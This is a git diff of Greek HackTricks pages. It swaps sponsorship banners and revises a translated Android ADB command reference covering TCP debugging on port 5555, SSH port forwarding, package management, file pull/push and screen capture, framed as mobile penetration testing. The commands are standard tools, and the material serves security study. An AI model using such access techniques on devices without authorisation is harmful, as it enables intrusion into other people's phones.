+{% endhint %} diff --git a/misc/references.md b/misc/references.md index 03f7f33c9..616782c96 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστηρίξτε το HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} {% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} @@ -60,16 +61,17 @@ {% embed url="https://ippsec.rocks/" %} +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστηρίξτε το HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index d2a577bf7..73176eac1 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,19 +1,20 @@ +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστήριξη HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Το Adb συνήθως βρίσκεται στον φάκελο:** +**Το adb βρίσκεται συνήθως στο:** ```bash #Windows C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe @@ -27,25 +28,25 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe ``` adb devices ``` -Αυτό θα εμφανίσει τις συνδεδεμένες συσκευές. Αν εμφανιστεί "_**unathorised**_", αυτό σημαίνει ότι πρέπει να **ξεκλειδώσετε** το **κινητό** σας και να **αποδεχθείτε** τη σύνδεση. +Αυτό θα καταγράψει τις συνδεδεμένες συσκευές. Αν εμφανιστεί το "_**unathorised**_", αυτό σημαίνει ότι πρέπει να **ξεκλειδώσετε** το **κινητό** σας και να **αποδεχθείτε** τη σύνδεση. -Αυτό υποδεικνύει στη συσκευή ότι πρέπει να ξεκινήσει έναν adb server στη θύρα 5555: +Αυτό υποδεικνύει στη συσκευή ότι πρέπει να ξεκινήσει έναν adb server στην θύρα 5555: ``` adb tcpip 5555 ``` -Συνδεθείτε σε αυτήν την IP και αυτήν τη θύρα: +Συνδεθείτε σε αυτήν τη διεύθυνση IP και σε αυτήν την θύρα: ``` adb connect : ``` -Εάν λάβετε ένα σφάλμα όπως το παρακάτω σε ένα εικονικό λογισμικό Android (όπως το Genymotion): +Αν λάβετε ένα σφάλμα όπως το παρακάτω σε ένα εικονικό λογισμικό Android (όπως το Genymotion): ``` adb server version (41) doesn't match this client (36); killing... ``` -Συμβαίνει αυτό επειδή προσπαθείτε να συνδεθείτε σε έναν διακομιστή ADB με διαφορετική έκδοση. Απλά προσπαθήστε να βρείτε το δυαδικό αρχείο adb που χρησιμοποιεί το λογισμικό (πηγαίνετε στο `C:\Program Files\Genymobile\Genymotion` και αναζητήστε το adb.exe) +Είναι επειδή προσπαθείτε να συνδεθείτε σε έναν διακομιστή ADB με διαφορετική έκδοση. Απλώς προσπαθήστε να βρείτε το δυαδικό αρχείο adb που χρησιμοποιεί το λογισμικό (πηγαίνετε στο `C:\Program Files\Genymobile\Genymotion` και αναζητήστε το adb.exe) ## Πολλές συσκευές -Όταν βρείτε **πολλές συσκευές συνδεδεμένες στον υπολογιστή σας**, θα χρειαστεί να **καθορίσετε σε ποια θέλετε να εκτελέσετε την εντολή adb**. +Όποτε βρείτε **πολλές συσκευές συνδεδεμένες στον υπολογιστή σας** θα χρειαστεί να **καθορίσετε σε ποια** θέλετε να εκτελέσετε την εντολή adb. ```bash adb devices List of devices attached @@ -58,14 +59,14 @@ adb -s 127.0.0.1:5555 shell x86_64:/ # whoami root ``` -## Τούνελ Θύρας +## Port Tunneling -Στην περίπτωση που η **θύρα adb** είναι προσβάσιμη μόνο από το **localhost** στη συσκευή Android αλλά **έχετε πρόσβαση μέσω SSH**, μπορείτε να **προωθήσετε τη θύρα 5555** και να συνδεθείτε μέσω adb: +Σε περίπτωση που η **adb** **θύρα** είναι μόνο **προσβάσιμη** από **localhost** στη συσκευή android αλλά **έχετε πρόσβαση μέσω SSH**, μπορείτε να **προωθήσετε τη θύρα 5555** και να συνδεθείτε μέσω adb: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` -# Διαχειριστής Πακέτων +# Packet Manager ## Εγκατάσταση/Απεγκατάσταση @@ -85,18 +86,7 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` -### adb uninstall \[επιλογές] \<ΠΑΚΕΤΟ> - -Απεγκαθιστά μια εφαρμογή από ένα συνδεδεμένο Android συσκευή. Το \<ΠΑΚΕΤΟ> αναφέρεται στο όνομα πακέτου της εφαρμογής που θέλουμε να απεγκαταστήσουμε. Οι επιλογές που μπορούν να χρησιμοποιηθούν περιλαμβάνουν: - -- -k: Διατηρεί τα δεδομένα και την cache της εφαρμογής μετά την απεγκατάσταση. -- --user \ | all: Καθορίζει τον χρήστη για τον οποίο θα γίνει η απεγκατάσταση. Το "all" αναφέρεται σε όλους τους χρήστες. -- --version-code: Καθορίζει τον κωδικό έκδοσης της εφαρμογής που θέλουμε να απεγκαταστήσουμε. - -Παράδειγμα: -``` -adb uninstall com.example.app -``` +### adb uninstall \[options] \ ```bash adb uninstall com.test.app @@ -104,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p ``` ## Πακέτα -Εκτυπώνει όλα τα πακέτα, προαιρετικά μόνο αυτά που το όνομα του πακέτου περιέχει το κείμενο στο \. +Εκτυπώνει όλα τα πακέτα, προαιρετικά μόνο εκείνα των οποίων το όνομα πακέτου περιέχει το κείμενο στο \. -### adb shell pm list packages \[επιλογές] \ +### adb shell pm list packages \[options] \ ```bash adb shell pm list packages @@ -128,7 +118,7 @@ adb shell pm list packages --user #The user space to quer ``` ### adb shell pm path \ -Εκτυπώνει τη διαδρομή προς το APK του συγκεκριμένου \. +Εκτυπώνει τη διαδρομή προς το APK του δοθέντος . ```bash adb shell pm path com.android.phone ``` @@ -138,31 +128,31 @@ adb shell pm path com.android.phone ```bash adb shell pm clear com.test.abc ``` -# Διαχειριστής Αρχείων +# File Manager -### adb pull \<απομακρυσμένο> \[τοπικό] +### adb pull \ \[local] Κατεβάστε ένα συγκεκριμένο αρχείο από έναν εξομοιωτή/συσκευή στον υπολογιστή σας. ```bash adb pull /sdcard/demo.mp4 ./ ``` -### adb push \<τοπικό> \<απομακρυσμένο> +### adb push \ \ -Μεταφορτώστε ένα συγκεκριμένο αρχείο από τον υπολογιστή σας σε έναν εξομοιωτή/συσκευή. +Ανεβάστε ένα συγκεκριμένο αρχείο από τον υπολογιστή σας σε έναν εξομοιωτή/συσκευή. ```bash adb push test.apk /sdcard ``` -# Καταγραφή οθόνης/Καταγραφή βίντεο οθόνης +# Screencapture/Screenrecord -### adb shell screencap \<όνομα αρχείου> +### adb shell screencap \ -Λήψη ενός στιγμιότυπου οθόνης της συσκευής. +Λαμβάνοντας ένα στιγμιότυπο οθόνης της οθόνης μιας συσκευής. ```bash adb shell screencap /sdcard/screen.png ``` -### adb shell screenrecord \[επιλογές] \<όνομα αρχείου> +### adb shell screenrecord \[options] \ -Καταγραφή της οθόνης συσκευών που εκτελούν το Android 4.4 (API επίπεδο 19) και νεότερο. +Καταγραφή της οθόνης συσκευών που εκτελούν Android 4.4 (API level 19) και ανώτερα. ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -171,27 +161,27 @@ adb shell screenrecord --time-limit